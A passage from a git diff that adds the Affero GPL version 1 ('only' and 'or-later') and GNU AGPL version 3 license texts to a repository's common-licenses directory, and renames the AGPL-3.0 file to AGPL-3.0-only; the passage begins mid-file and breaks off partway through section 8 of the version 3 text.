+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-1.0-or-later b/meta/files/common-licenses/AGPL-1.0-or-later
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-or-later
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-3.0 b/meta/files/common-licenses/AGPL-3.0-only
index dba13ed2dd..dba13ed2dd 100644
--- a/meta/files/common-licenses/AGPL-3.0
+++ b/meta/files/common-licenses/AGPL-3.0-only
diff --git a/meta/files/common-licenses/AGPL-3.0-or-later b/meta/files/common-licenses/AGPL-3.0-or-later
new file mode 100644
index 0000000000..fe0ef42ff4
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-3.0-or-later
@@ -0,0 +1,613 @@
+GNU AFFERO GENERAL PUBLIC LICENSE
+
+Version 3, 19 November 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU Affero General Public License is a free, copyleft license for software
+and other kinds of works, specifically designed to ensure cooperation with
+the community in the case of network server software.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, our General
+Public Licenses are intended to guarantee your freedom to share and change
+all versions of a program--to make sure it remains free software for all its
+users.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+Developers that use our General Public Licenses protect your rights with two
+steps: (1) assert copyright on the software, and (2) offer you this License
+which gives you legal permission to copy, distribute and/or modify the software.
+
+A secondary benefit of defending all users' freedom is that improvements made
+in alternate versions of the program, if they receive widespread use, become
+available for other developers to incorporate. Many developers of free software
+are heartened and encouraged by the resulting cooperation. However, in the
+case of software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and letting
+the public access it on a server without ever releasing its source code to
+the public.
+
+The GNU Affero General Public License is designed specifically to ensure that,
+in such cases, the modified source code becomes available to the community.
+It requires the operator of a network server to provide the source code of
+the modified version running there to the users of that server. Therefore,
+public use of a modified version, on a publicly accessible server, gives the
+public access to the source code of the modified version.
+
+An older license, called the Affero General Public License and published by
+Affero, was designed to accomplish similar goals. This is a different license,
+not a version of the Affero GPL, but Affero has released a new version of
+the Affero GPL which permits relicensing under this license.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those
+
+ subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
